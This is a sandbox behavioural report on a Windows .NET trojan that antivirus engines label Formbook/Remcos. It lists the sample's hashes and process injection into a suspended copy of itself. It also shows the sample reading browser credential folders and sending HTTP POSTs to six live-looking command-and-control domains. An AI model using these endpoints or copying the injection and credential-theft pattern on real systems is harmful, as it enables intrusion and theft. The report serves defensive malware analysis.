Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 28, 2024, 10:38 a.m.	July 28, 2024, 10:40 a.m.

Size	929.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`1f5c95d40c06c01300f0a6592945a72d`
SHA256	`434ec59b680788bae7f2935200a77e681cecbb517d853c6e6cf31f4cf112e5cc`
CRC32	`F3139612`
ssdeep	`24576:yXRv6h6aYfy8hbsv4IFlwLa15cAJAiV8KObLDCmCeBaOmXi:4JpTw8kJH8hCmvAOGi`
PDB Path	amWV.pdb
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) IsPE32 - (no description)

winiti.exe "C:\Users\test22\AppData\Local\Temp\winiti.exe"
2552
- winiti.exe "C:\Users\test22\AppData\Local\Temp\winiti.exe"
  2716
mcbuilder.exe "C:\Windows\SysWOW64\mcbuilder.exe"
2924
- firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
  2644
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
www.accelbusiness.net	A 15.197.148.33 CNAME accelbusiness.net A 3.33.130.190	3.33.130.190
www.bosonserver.net	A 195.200.3.58 CNAME bosonserver.net	195.200.3.58
www.asymtos.tech	CNAME asymtos.tech A 217.160.164.240	217.160.164.240
www.theiconsummit.life	A 15.197.148.33 CNAME theiconsummit.life A 3.33.130.190	3.33.130.190
www.lontos.top	A 203.161.42.162	203.161.42.162
www.hourglasspoise.net	A 3.33.130.190 A 15.197.148.33 CNAME hourglasspoise.net	3.33.130.190
www.sqlite.org	A 45.33.6.223	45.33.6.223

IP Address	Status	Action
15.197.148.33	Active	Moloch
164.124.101.2	Active	Moloch
195.200.3.58	Active	Moloch
203.161.42.162	Active	Moloch
217.160.164.240	Active	Moloch
3.33.130.190	Active	Moloch
45.33.6.223	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49179 -> 203.161.42.162:80	2023882	ET INFO HTTP Request to a *.top domain	Potentially Bad Traffic
TCP 192.168.56.101:49181 -> 15.197.148.33:80	2027876	ET INFO HTTP Request to Suspicious *.life Domain	Potentially Bad Traffic
UDP 192.168.56.101:61950 -> 164.124.101.2:53	2023883	ET DNS Query to a *.top domain - Likely Hostile	Potentially Bad Traffic
UDP 192.168.56.101:54883 -> 164.124.101.2:53	2027867	ET INFO Observed DNS Query to .life TLD	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 28, 2024, 10:38 a.m.			0	0
IsDebuggerPresent July 28, 2024, 10:38 a.m.			0	0

This executable has a PDB path (1 event)

pdb_path

amWV.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 28, 2024, 10:38 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (12 events)

request	POST http://www.accelbusiness.net/sg0d/
request	GET http://www.accelbusiness.net/sg0d/?LDcoL=ZFII8SVAvGzgMmVXToVI4LwsaVgSRAPMY6hEAWMgzd/rbIPLPNZ+lpDrj56GxiOWRiizuXBqoJ7dds0AusnvIdaVAlrc/osgyVUIbfwB8yhx2m5WAGulmI8my104pwb/sqeANsY=&tzW0=VCPfEuN
request	GET http://www.sqlite.org/2016/sqlite-dll-win32-x86-3100000.zip
request	POST http://www.bosonserver.net/x10g/
request	GET http://www.bosonserver.net/x10g/?LDcoL=AtIpZIbrclbIO3wVV4nf5MkbKr3zgThFYZcx/yn27KMXet/sCHbTSg7iXdN1LprNnU90TGJjlk60YPXU/gV8xNKsA5d5wJ0kF02lQrh6bPl2Ka0ee+60c3gL6UuubkfRvx1R8AU=&tzW0=VCPfEuN
request	POST http://www.hourglasspoise.net/5gvb/
request	GET http://www.hourglasspoise.net/5gvb/?LDcoL=/cc9D7vqfViixqGthiuMbdR5vErImywOC8ezpB4FmcTpRtjTbyPN8oLjmjUaYTUAZZsBqqPA4LzpXUrs3zKz1+bcJTGwBkjtMfI/kGKzlFznEvk/PsID24fmvZA2hoz8baldBw0=&tzW0=VCPfEuN
request	POST http://www.asymtos.tech/34b9/
request	GET http://www.asymtos.tech/34b9/?LDcoL=W6RiSnxSk7sWUyAWvsuBUQf3TLDMvpVwUriP78iMWJLg9pjq2qbXoN6eJJBee+3TNvEAo0P2a/B9rNSGOSr+g5jIYLHfTFZsXGTqlaF0jUedL/CiwqWjEQX6GQUFudPhspdJ5Ls=&tzW0=VCPfEuN
request	POST http://www.lontos.top/ukrf/
request	GET http://www.lontos.top/ukrf/?LDcoL=F/tpX3aJNzQcZIorwbtn4XzXZf0a/CrYoWsqF027uxYn9zYWtTXD5RI4AWcWVnLyOuVjbatHjcymGXUCp/2iE/8I1+t1d0MzMQiJ/YLZDKzAaLFDJakAPmxPg9uDu26TEYHLTo4=&tzW0=VCPfEuN
request	POST http://www.theiconsummit.life/6fdz/

Sends data using the HTTP POST Method (6 events)

request	POST http://www.accelbusiness.net/sg0d/
request	POST http://www.bosonserver.net/x10g/
request	POST http://www.hourglasspoise.net/5gvb/
request	POST http://www.asymtos.tech/34b9/
request	POST http://www.lontos.top/ukrf/
request	POST http://www.theiconsummit.life/6fdz/

Allocates read-write-execute memory (usually to unpack itself) (48 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00340000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 1179648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ba0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00415000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00417000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0040a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00407000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00406000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x732e2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c3f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00aca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00acb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00acc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00acd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ace000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00acf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c71000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c72000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2716 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2924 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a10000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2024, 10:32 a.m.	process_identifier: 1452 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004920000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Steals private information from local Internet browsers (4 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\
file	C:\Users\test22\AppData\Local\Chromium\User Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\sqlite3.dll

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\sqlite3.dll

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000e7800', u'virtual_address': u'0x00002000', u'entropy': 7.7609781663145885, u'name': u'.text', u'virtual_size': u'0x000e7624'}

entropy

7.76097816631

description

A section with a high entropy has been found

entropy

0.997307485191

description

Overall entropy of this PE file is high

Yara rule detected in process memory (8 events)

description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2716 region_size: 286720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000268	1	0	0

Attempts to identify installed AV products by installation directory (2 events)

file	C:\Users\test22\AppData\Local\AVAST Software\Browser\User Data
file	C:\Users\test22\AppData\Local\AVG\Browser\User Data

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 28, 2024, 10:38 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELÑ]àL `@`@.textdJL ` base_address: 0x00400000 process_identifier: 2716 process_handle: 0x00000268	1	1	0
WriteProcessMemory July 28, 2024, 10:38 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2716 process_handle: 0x00000268	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 28, 2024, 10:38 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELÑ]àL `@`@.textdJL ` base_address: 0x00400000 process_identifier: 2716 process_handle: 0x00000268	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2552 called NtSetContextThread to modify thread in remote process 2716
NtSetContextThread July 28, 2024, 10:38 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199456 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000264 process_identifier: 2716	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2552 resumed a thread in remote process 2716
NtResumeThread July 28, 2024, 10:38 a.m.	thread_handle: 0x00000264 suspend_count: 1 process_identifier: 2716	1	0	0

Executed a process and injected code into it, probably while unpacking (20 events)

Time & API	Arguments	Status	Return
NtResumeThread July 28, 2024, 10:38 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2552	1	0
NtResumeThread July 28, 2024, 10:38 a.m.	thread_handle: 0x0000014c suspend_count: 1 process_identifier: 2552	1	0
NtResumeThread July 28, 2024, 10:38 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2552	1	0
NtResumeThread July 28, 2024, 10:38 a.m.	thread_handle: 0x00000254 suspend_count: 1 process_identifier: 2552	1	0
NtGetContextThread July 28, 2024, 10:38 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread July 28, 2024, 10:38 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread July 28, 2024, 10:38 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2552	1	0
NtGetContextThread July 28, 2024, 10:38 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread July 28, 2024, 10:38 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread July 28, 2024, 10:38 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2552	1	0
CreateProcessInternalW July 28, 2024, 10:38 a.m.	thread_identifier: 2720 thread_handle: 0x00000264 process_identifier: 2716 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\winiti.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\winiti.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000268	1	1
NtGetContextThread July 28, 2024, 10:38 a.m.	thread_handle: 0x00000264	1	0
NtAllocateVirtualMemory July 28, 2024, 10:38 a.m.	process_identifier: 2716 region_size: 286720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000268	1	0
WriteProcessMemory July 28, 2024, 10:38 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELÑ]àL `@`@.textdJL ` base_address: 0x00400000 process_identifier: 2716 process_handle: 0x00000268	1	1
WriteProcessMemory July 28, 2024, 10:38 a.m.	buffer: base_address: 0x00401000 process_identifier: 2716 process_handle: 0x00000268	1	1
WriteProcessMemory July 28, 2024, 10:38 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2716 process_handle: 0x00000268	1	1
NtSetContextThread July 28, 2024, 10:38 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199456 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000264 process_identifier: 2716	1	0
NtResumeThread July 28, 2024, 10:38 a.m.	thread_handle: 0x00000264 suspend_count: 1 process_identifier: 2716	1	0
NtResumeThread July 28, 2024, 10:39 a.m.	thread_handle: 0x000001ac suspend_count: 1 process_identifier: 2924	1	0
CreateProcessInternalW July 28, 2024, 10:39 a.m.	thread_identifier: 2652 thread_handle: 0x00000418 process_identifier: 2644 current_directory: filepath: C:\Program Files\Mozilla Firefox\firefox.exe track: 1 command_line: filepath_r: C:\Program Files\Mozilla Firefox\Firefox.exe stack_pivoted: 0 creation_flags: 12 (CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000420	1	1

File has been identified by 53 AntiVirus engines on VirusTotal as malicious (50 out of 53 events)

Bkav	W32.AIDetectMalware.CS
Lionic	Trojan.Win32.Remcos.m!c
Elastic	malicious (high confidence)
Skyhigh	BehavesLike.Win32.Generic.dc
ALYac	Trojan.GenericKDZ.107722
VIPRE	Trojan.GenericKDZ.107722
Sangfor	Trojan.Win32.Save.MSIL_Inject
K7AntiVirus	Trojan ( 005b83501 )
BitDefender	Trojan.GenericKDZ.107722
K7GW	Trojan ( 005b83501 )
VirIT	Trojan.Win32.MSIL_Heur.A
Symantec	Scr.Malcode!gdn33
ESET-NOD32	Win32/Formbook.AA
APEX	Malicious
McAfee	Artemis!1F5C95D40C06
Avast	Win32:CrypterX-gen [Trj]
ClamAV	Win.Packed.Generic-10033429-0
Kaspersky	HEUR:Backdoor.MSIL.Remcos.gen
Alibaba	Backdoor:MSIL/Remcos.973c554f
MicroWorld-eScan	Trojan.GenericKDZ.107722
Rising	Malware.Obfus/MSIL@AI.95 (RDM.MSIL2:jHtJv7dGvWqIF6SRHSb6+w)
Emsisoft	Trojan.GenericKDZ.107722 (B)
F-Secure	Trojan.TR/AD.Swotter.zstsj
DrWeb	Trojan.PackedNET.2976
McAfeeD	ti!434EC59B6807
FireEye	Trojan.GenericKDZ.107722
Sophos	Troj/Krypt-ABH
SentinelOne	Static AI - Malicious PE
Webroot	W32.Trojan.GenKDZ
Google	Detected
Avira	TR/AD.Swotter.zstsj
MAX	malware (ai score=80)
Kingsoft	MSIL.Backdoor.Remcos.gen
Gridinsoft	Trojan.Win32.Packed.sa
Microsoft	Trojan:Win32/FormBook.NF!MTB
ZoneAlarm	HEUR:Backdoor.MSIL.Remcos.gen
GData	Trojan.GenericKDZ.107722
Varist	W32/MSIL_Agent.IIF.gen!Eldorado
AhnLab-V3	Malware/Win.Generic.C5650541
DeepInstinct	MALICIOUS
